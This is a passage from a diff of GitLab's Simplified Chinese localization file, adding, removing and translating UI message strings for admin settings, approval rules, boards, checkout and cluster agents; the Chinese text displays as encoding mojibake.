msgstr "维护者"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "新建群组"
@@ -2269,8 +2304,8 @@ msgstr "您å³å°†åœæ­¢æ‰€æœ‰ä½œä¸šï¼Œè¿™ä¼šä¸­æ–­å¹¶ç»“æŸæ‰€æœ‰æ­£åœ¨è¿è¡Œçš„
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "加载统计数æ®æ—¶å‡ºé”™ã€‚请å†è¯•ä¸€æ¬¡"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
-msgstr "您å³å°†æ°¸ä¹…删除项目 %{projectName},其仓库以åŠæ‰€æœ‰ç›¸å…³èµ„æºï¼ŒåŒ…括议题ã€åˆå¹¶è¯·æ±‚等。一旦确认并点击 %{strong_start}删除项目%{strong_end},将无法撤消或æ¢å¤ã€‚"
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgstr ""
msgid "AdminProjects|Delete"
msgstr "删除"
@@ -2453,7 +2488,7 @@ msgid "AdminUsers|Admin"
msgstr "管ç†å‘˜"
msgid "AdminUsers|Administrators have access to all groups, projects and users and can manage all features in this installation."
-msgstr ""
+msgstr "管ç†å‘˜å¯ä»¥è®¿é—®æ‰€æœ‰ç¾¤ç»„ã€é¡¹ç›®å’Œç”¨æˆ·ï¼Œå¹¶å¯ä»¥ç®¡ç†æ­¤å®‰è£…中的所有功能。"
msgid "AdminUsers|Admins"
msgstr "管ç†å‘˜"
@@ -2468,10 +2503,10 @@ msgid "AdminUsers|Approved users can:"
msgstr "已获批准的用户å¯ä»¥ï¼š"
msgid "AdminUsers|Auditor"
-msgstr ""
+msgstr "审计员"
msgid "AdminUsers|Auditors have read-only access to all groups, projects, and users."
-msgstr ""
+msgstr "审计员å¯ä»¥åªè¯»è®¿é—®æ‰€æœ‰ç¾¤ç»„ã€é¡¹ç›®å’Œç”¨æˆ·ã€‚"
msgid "AdminUsers|Automatically marked as default internal user"
msgstr "自动标记为默认内部用户"
@@ -2609,7 +2644,7 @@ msgid "AdminUsers|Regular"
msgstr "普通"
msgid "AdminUsers|Regular users have access to their groups and projects."
-msgstr ""
+msgstr "普通用户å¯ä»¥è®¿é—®ä»–们的群组和项目。"
msgid "AdminUsers|Reject"
msgstr "æ‹’ç»"
@@ -2806,20 +2841,29 @@ msgstr "高级设置"
msgid "Advanced export options"
msgstr "高级导出选项"
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "密ç æ›´æ–°æˆåŠŸåŽï¼Œæ‚¨å°†è¢«é‡å®šå‘到登录页é¢ã€‚"
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "密ç æ›´æ–°æˆåŠŸåŽï¼Œæ‚¨å°†è¢«é‡å®šå‘到登录页é¢ï¼Œæ‚¨å¯ä»¥ä½¿ç”¨æ–°å¯†ç é‡æ–°ç™»å½•ã€‚"
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
-msgstr "在那之åŽï¼Œæ‚¨å°†æ— æ³•ä½¿ç”¨åˆå¹¶æ‰¹å‡†æˆ–代ç è´¨é‡åŠå…¶ä»–众多功能。"
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
-msgstr "在那之åŽï¼Œæ‚¨å°†æ— æ³•ä½¿ç”¨åˆå¹¶æ‰¹å‡†æˆ–å²è¯—以åŠå…¶ä»–众多功能。"
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
-msgstr "在那之åŽï¼Œæ‚¨å°†æ— æ³•ä½¿ç”¨åˆå¹¶æ‰¹å‡†æˆ–å²è¯—以åŠä¼—多安全功能。"
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
+msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
msgstr "在阅读这些贡献指å—åŽï¼Œæ‚¨å°†å‡†å¤‡å¥½"
@@ -3224,7 +3268,7 @@ msgid "All merge request dependencies have been merged"
msgstr "所有åˆå¹¶è¯·æ±‚ä¾èµ–项å‡å·²åˆå¹¶"
msgid "All paths are relative to the GitLab URL. Do not include %{relative_url_link_start}relative URLs%{relative_url_link_end}."
-msgstr ""
+msgstr "所有路径都相对于 GitLab URL。请ä¸è¦åŒ…å«%{relative_url_link_start}相对 URL%{relative_url_link_end}。"
msgid "All projects"
msgstr "所有项目"
@@ -3242,7 +3286,7 @@ msgid "All users must have a name."
msgstr "所有的用户都必须具有å称。"
msgid "All users with matching cards"
-msgstr ""
+msgstr "所有具有匹é…å¡ç‰‡çš„用户"
msgid "Allow \"%{group_name}\" to sign you in"
msgstr "å…许“%{group_name}â€ä»¥æ‚¨çš„身份登录"
@@ -3260,7 +3304,7 @@ msgid "Allow group owners to manage LDAP-related settings"
msgstr "å…许群组所有者管ç†LDAP相关的设置"
msgid "Allow non-administrators access to the performance bar"
-msgstr ""
+msgstr "å…许éžç®¡ç†å‘˜è®¿é—®æ€§èƒ½æ "
msgid "Allow only the selected protocols to be used for Git access."
msgstr "ä»…å…许所选å议用于 Git 访问。"
@@ -3409,9 +3453,6 @@ msgstr "已从管ç†é¢æ¿å‘é€è¿‡äº†ä¸€å°ç”µå­é‚®ä»¶é€šçŸ¥ã€‚请等待 %{wai
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "空GitLab用户字段将在所有问题和注释的æ述中添加FogBugz用户的全å(例如“By John Smithâ€ï¼‰ã€‚它还将与项目创建者关è”å’Œ/或分é…这些问题和评论。"
-msgid "An empty index will be created if one does not already exist"
-msgstr "如果ä¸å­˜åœ¨ç´¢å¼•ï¼Œå°†åˆ›å»ºä¸€ä¸ªç©ºç´¢å¼•ã€‚"
-
msgid "An error has occurred"
msgstr "å‘生错误"
@@ -3439,6 +3480,9 @@ msgstr "获å–下拉数æ®æ—¶å‡ºé”™ã€‚"
msgid "An error occurred fetching the project authors."
msgstr "获å–项目作者时出错。"
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "预览 blob 时出错"
@@ -3500,16 +3544,16 @@ msgid "An error occurred while fetching ancestors"
msgstr "获å–上级时å‘生错误"
msgid "An error occurred while fetching branches. Retry the search."
-msgstr ""
+msgstr "获å–分支时å‘生错误,请é‡è¯•æœç´¢ã€‚"
msgid "An error occurred while fetching codequality mr diff reports."
msgstr "获å–代ç è´¨é‡åˆå¹¶è¯·æ±‚差异报告时å‘生错误。"
msgid "An error occurred while fetching commit data."
-msgstr ""
+msgstr "获å–æ交数æ®æ—¶å‘生错误。"
msgid "An error occurred while fetching commits. Retry the search."
-msgstr ""
+msgstr "获å–æ交时å‘生错误,请é‡è¯•æœç´¢ã€‚"
msgid "An error occurred while fetching coverage reports."
msgstr "获å–覆盖度报告时出错。"
@@ -3598,6 +3642,9 @@ msgstr "加载所有文件时å‘生错误。"
msgid "An error occurred while loading chart data"
msgstr "加载图表数æ®æ—¶å‘生错误"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "加载æ交签åæ—¶å‘生错误"
@@ -3714,7 +3761,7 @@ msgstr "ä¿å­˜æ›´æ”¹æ—¶å‘生错误:%{error}"
msgid "An error occurred while saving the setting"
msgid_plural "An error occurred while saving the settings"
-msgstr[0] ""
+msgstr[0] "ä¿å­˜è®¾ç½®æ—¶å‘生错误。"
msgid "An error occurred while subscribing to notifications."
msgstr "订阅通知时å‘生错误。"
@@ -3779,6 +3826,9 @@ msgstr "一个示例项目,展示了为你自己的组织设置GitLab的最佳
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr "显示如何在GitLab动æ€å­æµæ°´çº¿ä¸­ä½¿ç”¨Jsonnet的示例"
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr "议题已ç»å­˜åœ¨"
@@ -3818,6 +3868,9 @@ msgstr "分æžWeb应用程åºçš„审阅版本。"
msgid "Analyze your dependencies for known vulnerabilities."
msgstr "分æžä¾èµ–项查找已知æ¼æ´ž."
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr "分æžä½ çš„æºä»£ç å’Œgit历å²ä¸­çš„密ç ."
@@ -3860,9 +3913,6 @@ msgstr "任何里程碑"
msgid "Any encrypted tokens"
msgstr "任何加密的令牌"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr "任何大于此é™åˆ¶çš„文件åªç´¢å¼•æ–‡ä»¶å。文件内容ä¸ä¼šç´¢å¼•ï¼Œä¹Ÿä¸å¯æœç´¢ã€‚"
-
msgid "Any label"
msgstr "任何标记"
@@ -3875,9 +3925,6 @@ msgstr "任何里程碑"
msgid "Any namespace"
msgstr "任何命å空间"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr "App Engineæ述和适åˆæ­¤éƒ¨ç½²ç›®æ ‡çš„ App"
-
msgid "App ID"
msgstr "应用ID"
@@ -3933,6 +3980,9 @@ msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] "批准 %d ä½ç”¨æˆ·"
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr "批准处于待批准状æ€çš„用户?"
@@ -3940,6 +3990,9 @@ msgid "ApplicationSettings|By making this change, you will automatically approve
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
msgstr[0] "通过进行此更改,您将自动批准 %d å处于待批准状æ€çš„用户。"
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr "æ‹’ç»æ³¨å†Œçš„域"
@@ -4105,7 +4158,7 @@ msgid "ApprovalRule|All severity levels"
msgstr "所有严é‡çº§åˆ«"
msgid "ApprovalRule|All vulnerability states"
-msgstr ""
+msgstr "所有æ¼æ´žçŠ¶æ€"
msgid "ApprovalRule|Apply this approval rule to consider only the selected security scanners."
msgstr "应用此审批规则åªè€ƒè™‘选定的安全扫æ工具。"
@@ -4114,7 +4167,7 @@ msgid "ApprovalRule|Apply this approval rule to consider only the selected sever
msgstr "应用此审批规则åªè€ƒè™‘选定的严é‡çº§åˆ«ã€‚"
msgid "ApprovalRule|Apply this approval rule to consider only the selected vulnerability states."
-msgstr ""
+msgstr "应用此审批规则åªè€ƒè™‘选定的æ¼æ´žçŠ¶æ€ã€‚"
msgid "ApprovalRule|Approval rules"
msgstr "核准规则"
@@ -4129,10 +4182,10 @@ msgid "ApprovalRule|Approvers"
msgstr "核准人"
msgid "ApprovalRule|Confirmed"
-msgstr ""
+msgstr "已确认"
msgid "ApprovalRule|Dismissed"
-msgstr ""
+msgstr "已忽略"
msgid "ApprovalRule|Examples: QA, Security."
msgstr "示例:QAã€å®‰å…¨ã€‚"
@@ -4141,7 +4194,7 @@ msgid "ApprovalRule|Name"
msgstr "å称"
msgid "ApprovalRule|Newly detected"
-msgstr ""
+msgstr "新检测到"
msgid "ApprovalRule|Number of vulnerabilities allowed before approval rule is triggered."
msgstr "在触å‘批准规则之å‰å…许的æ¼æ´žæ•°é‡ã€‚"
@@ -4156,13 +4209,13 @@ msgid "ApprovalRule|Please select at least one severity level"
msgstr "请选择至少一个严é‡çº§åˆ«"
msgid "ApprovalRule|Please select at least one vulnerability state"
-msgstr ""
+msgstr "请至少选择一ç§æ¼æ´žçŠ¶æ€"
msgid "ApprovalRule|Previously detected"
-msgstr ""
+msgstr "以å‰æ£€æµ‹åˆ°"
msgid "ApprovalRule|Resolved"
-msgstr ""
+msgstr "已解决"
msgid "ApprovalRule|Rule name"
msgstr "规则å称"
@@ -4180,7 +4233,7 @@ msgid "ApprovalRule|Select severity levels"
msgstr "选择严é‡çº§åˆ«"
msgid "ApprovalRule|Select vulnerability states"
-msgstr ""
+msgstr "选择æ¼æ´žçŠ¶æ€"
msgid "ApprovalRule|Severity levels"
msgstr "严é‡çº§åˆ«"
@@ -4192,7 +4245,7 @@ msgid "ApprovalRule|Vulnerabilities allowed"
msgstr "å…许的æ¼æ´ž"
msgid "ApprovalRule|Vulnerability states"
-msgstr ""
+msgstr "æ¼æ´žçŠ¶æ€"
msgid "ApprovalSettings|Merge request approval settings have been updated."
msgstr "åˆå¹¶è¯·æ±‚审批设置已更新。"
@@ -4347,6 +4400,9 @@ msgstr "确实è¦åˆ é™¤æ­¤%{typeOfComment}å—?"
msgid "Are you sure you want to delete this SSH key?"
msgstr "您确定è¦åˆ é™¤æ­¤SSH密钥å—?"
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "您确定è¦åˆ é™¤æ­¤è®¾å¤‡å—?此æ“作无法撤销。"
@@ -4549,6 +4605,9 @@ msgstr "分é…到"
msgid "Assign to commenting user"
msgstr "分é…给评论用户"
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "将这些议题分é…给自己"
@@ -4583,11 +4642,11 @@ msgid "Assigned to me"
msgstr "已分派给我"
msgid "Assigned to you"
-msgstr "分é…给你的"
+msgstr "分é…给您的"
msgid "Assignee"
msgid_plural "%d Assignees"
-msgstr[0] "%dä½æŒ‡æ´¾äºº"
+msgstr[0] ""
msgid "Assignee has no permissions"
msgstr "å—让人没有æƒé™"
@@ -4644,6 +4703,9 @@ msgstr "添加附件失败。"
msgid "Audit Events"
msgstr "审计事件"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr "(已删除)"
@@ -4699,7 +4761,7 @@ msgid "Authenticate"
msgstr "验è¯"
msgid "Authenticate user SSH keys without requiring additional configuration. Performance of GitLab can be improved by using the GitLab database instead."
-msgstr ""
+msgstr "无需é¢å¤–é…置而验è¯ç”¨æˆ·çš„ SSH 密钥。å¯ä»¥é€šè¿‡ä½¿ç”¨ GitLab æ•°æ®åº“æ¥æ高 GitLab 的性能。"
msgid "Authenticate with GitHub"
msgstr "使用GitHub身份验è¯"
@@ -4816,7 +4878,7 @@ msgid "Auto-cancel redundant pipelines"
msgstr "自动å–消多余的æµæ°´çº¿"
msgid "Auto-close referenced issues on default branch"
-msgstr "自动关闭默认分支上的引用问题"
+msgstr "自动关闭默认分支上的引用议题"
msgid "AutoDevOps|%{auto_devops_start}Automate building, testing, and deploying%{auto_devops_end} your applications based on your continuous integration and delivery configuration. %{quickstart_start}How do I get started?%{quickstart_end}"
msgstr "æ ¹æ®æŒç»­çš„集æˆå’Œäº¤ä»˜é…置,%{auto_devops_start}自动构建,测试和部署%{auto_devops_end}您的应用程åºã€‚%{quickstart_start}我该如何开始?%{quickstart_end}"
@@ -5292,6 +5354,9 @@ msgstr "用户已æˆåŠŸåˆ é™¤"
msgid "Billing|Users occupying seats in"
msgstr "å ç”¨å¸­ä½çš„用户于"
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr "您将è¦ä»Žè®¢é˜…中删除用户%{username}。如果继续,该用户将从 %{namespace} 群组åŠå…¶æ‰€æœ‰å­ç»„和项目中删除。此æ“作无法撤消。"
@@ -5333,7 +5398,7 @@ msgid "Blog"
msgstr "åšå®¢"
msgid "Board scope affects which epics are displayed for anyone who visits this board"
-msgstr ""
+msgstr "看æ¿èŒƒå›´ä¼šå½±å“å‘访问此看æ¿çš„任何人显示的å²è¯—"
msgid "Board scope affects which issues are displayed for anyone who visits this board"
msgstr "看æ¿èŒƒå›´ä¼šå½±å“访问此看æ¿çš„人å¯ä»¥æ˜¾ç¤ºå“ªäº›è®®é¢˜"
@@ -5368,6 +5433,9 @@ msgstr "选择一个项目"
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr "获å–里程碑时å‘生错误,请é‡è¯•ã€‚"
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr "æœç´¢ç”¨æˆ·æ—¶å‘生错误,请é‡è¯•ã€‚"
@@ -5377,12 +5445,21 @@ msgstr "任何里程碑"
msgid "BoardScope|Any assignee"
msgstr "任何指派人"
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr "指派人"
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr "编辑"
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr "里程碑"
@@ -5395,6 +5472,9 @@ msgstr "æœç´¢é‡Œç¨‹ç¢‘"
msgid "BoardScope|Select assignee"
msgstr "选择指派人"
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr "选择里程碑"
@@ -5484,6 +5564,9 @@ msgstr "展开"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr "无法获å–ç¦ç”¨çš„ %{issuableType}"
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr "新建å²è¯—"
@@ -5496,6 +5579,9 @@ msgstr "查看所有阻塞的%{issuableType}"
msgid "Boards|View scope"
msgstr "查看范围"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr "确定è¦åˆ é™¤æ­¤çœ‹æ¿å—?"
@@ -5575,7 +5661,7 @@ msgid "Branches|Cancel, keep branch"
msgstr "å–消,ä¿ç•™åˆ†æ”¯"
msgid "Branches|Can’t find HEAD commit for this branch"
-msgstr ""
+msgstr "ä¸èƒ½æ‰¾åˆ°è¿™ä¸ªåˆ†æ”¯çš„ HEAD æ交"
msgid "Branches|Compare"
msgstr "比较"
@@ -5686,7 +5772,7 @@ msgid "Branches|To discard the local changes and overwrite the branch with the u
msgstr "è¦æ”¾å¼ƒæœ¬åœ°æ›´æ”¹å¹¶è¦†ç›–上游版本的分支,请在此处将其删除,然åŽé€‰æ‹©ä¸Šé¢çš„“立å³æ›´æ–°â€ã€‚"
msgid "Branches|Unable to load branches"
-msgstr ""
+msgstr "无法加载分支"
msgid "Branches|Yes, delete branch"
msgstr "是的,删除分支"
@@ -5787,11 +5873,14 @@ msgstr "导入失败:目标ä¸èƒ½æ˜¯æºç»„çš„å­ç»„。更改目标,然åŽé‡
msgid "BulkImport|Import groups from GitLab"
msgstr "从GitLab导入群组"
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr "导入已选择项"
-msgid "BulkImport|Importing the group failed"
-msgstr "导入群组失败"
+msgid "BulkImport|Importing the group failed."
+msgstr ""
msgid "BulkImport|Last imported to %{link}"
msgstr "上次导入到 %{link}"
@@ -5799,6 +5888,9 @@ msgstr "上次导入到 %{link}"
msgid "BulkImport|Name already exists."
msgstr "å称已存在。"
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr "新建群组"
@@ -6043,6 +6135,9 @@ msgstr "为什么è¦è¯·æ±‚一个 CVE ID?"
msgid "Cadence is not automated"
msgstr "Cadence ä¸æ˜¯è‡ªåŠ¨åŒ–çš„"
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "回调 URL"
@@ -6236,10 +6331,10 @@ msgid "Capacity threshold"
msgstr "容é‡é˜ˆå€¼"
msgid "Card holder name"
-msgstr ""
+msgstr "æŒå¡äººå§“å"
msgid "Card number:"
-msgstr ""
+msgstr "å¡å·ï¼š"
msgid "CascadingSettings|Enforce for all subgroups"
msgstr "强制所有å­ç¾¤ç»„"
@@ -6337,12 +6432,12 @@ msgstr "审核者已更改为 %{new}"
msgid "ChangeReviewer|Unassigned"
msgstr "未分é…"
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr "将在派生(fork)项目中创建一个新的分支,并开å¯ä¸€ä¸ªæ–°çš„åˆå¹¶è¯·æ±‚。"
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "优选"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr "选择分支"
@@ -6391,9 +6486,6 @@ msgstr "å˜æ›´"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr "差异显示方å¼ä¾%{b_open}æº%{b_close}版本åˆå¹¶åˆ°%{b_open}目标%{b_close}版本的形å¼ã€‚"
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr "å˜æ›´ä»è¢«è·Ÿè¸ªã€‚å¯ç”¨äºŽé›†ç¾¤/索引è¿ç§»ã€‚"
-
msgid "Changes saved."
msgstr "更改已ä¿å­˜"
@@ -6406,6 +6498,9 @@ msgstr "将标题更改为“%{title_param}â€ã€‚"
msgid "Changes to the title have not been saved"
msgstr "标题更改尚未ä¿å­˜"
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr "更改群组URLå¯èƒ½ä¼šæœ‰éžé¢„期的副作用。"
@@ -6469,12 +6564,12 @@ msgstr "检查命å空间方案的功能å¯ç”¨æ€§"
msgid "Check out, review, and merge locally"
msgstr "在本地检出ã€å®¡æ ¸å’Œåˆå¹¶"
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
+msgstr ""
+
msgid "Check the current instance configuration "
msgstr "检查当å‰å®žä¾‹é…ç½® "
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
-msgstr "检查elasticsearch.log文件以调试为什么åœæ­¢è¿ç§»ï¼Œåœ¨é‡æ–°å°è¯•è¿ç§»ä¹‹å‰è¿›è¡Œä»»ä½•æ›´æ”¹ã€‚解决故障原因åŽï¼Œè¯·å•å‡»â€œé‡è¯•è¿ç§»â€ï¼ŒåŽå°ä¼šè®¡åˆ’é‡è¯•è¿ç§»ã€‚"
-
msgid "Check with your administrator."
msgstr "请è”系您的管ç†å‘˜ã€‚"
@@ -6533,6 +6628,9 @@ msgstr "%{name}的GitLab订阅"
msgid "Checkout|%{name}'s storage subscription"
msgstr "%{name}的存储订阅"
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr "%{quantity} GB 存储"
@@ -6546,9 +6644,6 @@ msgstr "%{selectedPlanText}计划"
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} - %{endDate}"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr "%{totalCiMinutes} CI 分钟"
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr "(å¯èƒ½ä¼šåœ¨%{linkStart}购买时收费%{linkEnd})"
@@ -6568,7 +6663,7 @@ msgid "Checkout|CI minute packs are only used after you've used your subscriptio
msgstr "CI 分钟包仅在您使用完订阅的æ¯æœˆé…é¢åŽä½¿ç”¨ã€‚é¢å¤–的分钟数将é€æœˆæ»šåŠ¨ï¼Œæœ‰æ•ˆæœŸä¸ºä¸€å¹´ã€‚"
msgid "Checkout|CI minutes"
-msgstr ""
+msgstr "CI 分钟"
msgid "Checkout|Checkout"
msgstr " 支付"
@@ -6604,7 +6699,7 @@ msgid "Checkout|Edit"
msgstr "编辑"
msgid "Checkout|Enter a number greater than 0"
-msgstr ""
+msgstr "请输入大于0的数字"
msgid "Checkout|Exp %{expirationMonth}/%{expirationYear}"
msgstr "有效期至%{expirationMonth}/%{expirationYear}"
@@ -6721,7 +6816,7 @@ msgid "Checkout|minutes"
msgstr "分钟"
msgid "Checkout|x %{quantity} %{units} per pack"
-msgstr ""
+msgstr "x %{quantity} %{units} æ¯åŒ…"
msgid "Checkout|x %{quantity} %{units} per pack ="
msgstr "x %{quantity} %{units} æ¯åŒ… ="
@@ -6747,9 +6842,6 @@ msgstr "中文支æŒä½¿ç”¨"
msgid "Choose File..."
msgstr "选择文件 …"
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "选择一个分支/标签(例如 %{branch})或输入一个æ交(例如 %{sha})以查看更改的内容或创建åˆå¹¶è¯·æ±‚。"
-
msgid "Choose a file"
msgstr "选择一个文件"
@@ -7047,6 +7139,9 @@ msgstr "客户端请求超时"
msgid "Clients"
msgstr "客户端"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "克隆"
@@ -7089,6 +7184,9 @@ msgstr "关闭"
msgid "Close %{issueType}"
msgstr "关闭%{issueType}"
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "关闭%{tabname}"
@@ -7131,12 +7229,6 @@ msgstr "关闭: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "关闭此%{quick_action_target}."
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr "适用于此部署目标的 Cloud Functions æ述和应用程åº"
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr "适用于此部署目标的 Cloud Run æ述和应用"
-
msgid "Cluster"
msgstr "集群"
@@ -7158,17 +7250,32 @@ msgstr "集群级别"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr "Stages::ClusterEndpointInserter需è¦é›†ç¾¤ç±»åž‹"
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr "访问令牌"
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr "代ç†å¯èƒ½æ— æ³•è¿žæŽ¥åˆ° GitLab"
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr "代ç†ä»Žæœªè¿žæŽ¥åˆ° GitLab"
-msgid "ClusterAgents|Alternative installation methods"
-msgstr "其他安装方法"
+msgid "ClusterAgents|All"
+msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
msgstr "加载您的GitLab Agentæ—¶å‘生错误"
@@ -7179,9 +7286,30 @@ msgstr "加载代ç†æ—¶å‡ºé”™"
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr "å‘生未知错误。请é‡è¯•ã€‚"
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr "é…ç½®"
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr "已连接"
@@ -7191,6 +7319,9 @@ msgstr "连接状æ€"
msgid "ClusterAgents|Copy token"
msgstr "å¤åˆ¶ä»¤ç‰Œ"
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr "创建人"
@@ -7200,29 +7331,32 @@ msgstr "由 %{name} %{time} 创建"
msgid "ClusterAgents|Date created"
msgstr "创建日期"
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr "æè¿°"
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
-msgstr "关于替代安装方法,%{linkStart}转到文档%{linkEnd}。"
+msgid "ClusterAgents|Failed to register an agent"
+msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
-msgstr "有关更多故障排查信æ¯ï¼Œè¯·è®¿é—®"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
+msgstr ""
-msgid "ClusterAgents|Go to the repository"
-msgstr "转到仓库"
+msgid "ClusterAgents|GitLab Agent"
+msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
-msgstr "安装新的 GitLab 代ç†"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
+msgstr ""
-msgid "ClusterAgents|Install new Agent"
-msgstr "安装新代ç†"
+msgid "ClusterAgents|Go to the repository files"
+msgstr ""
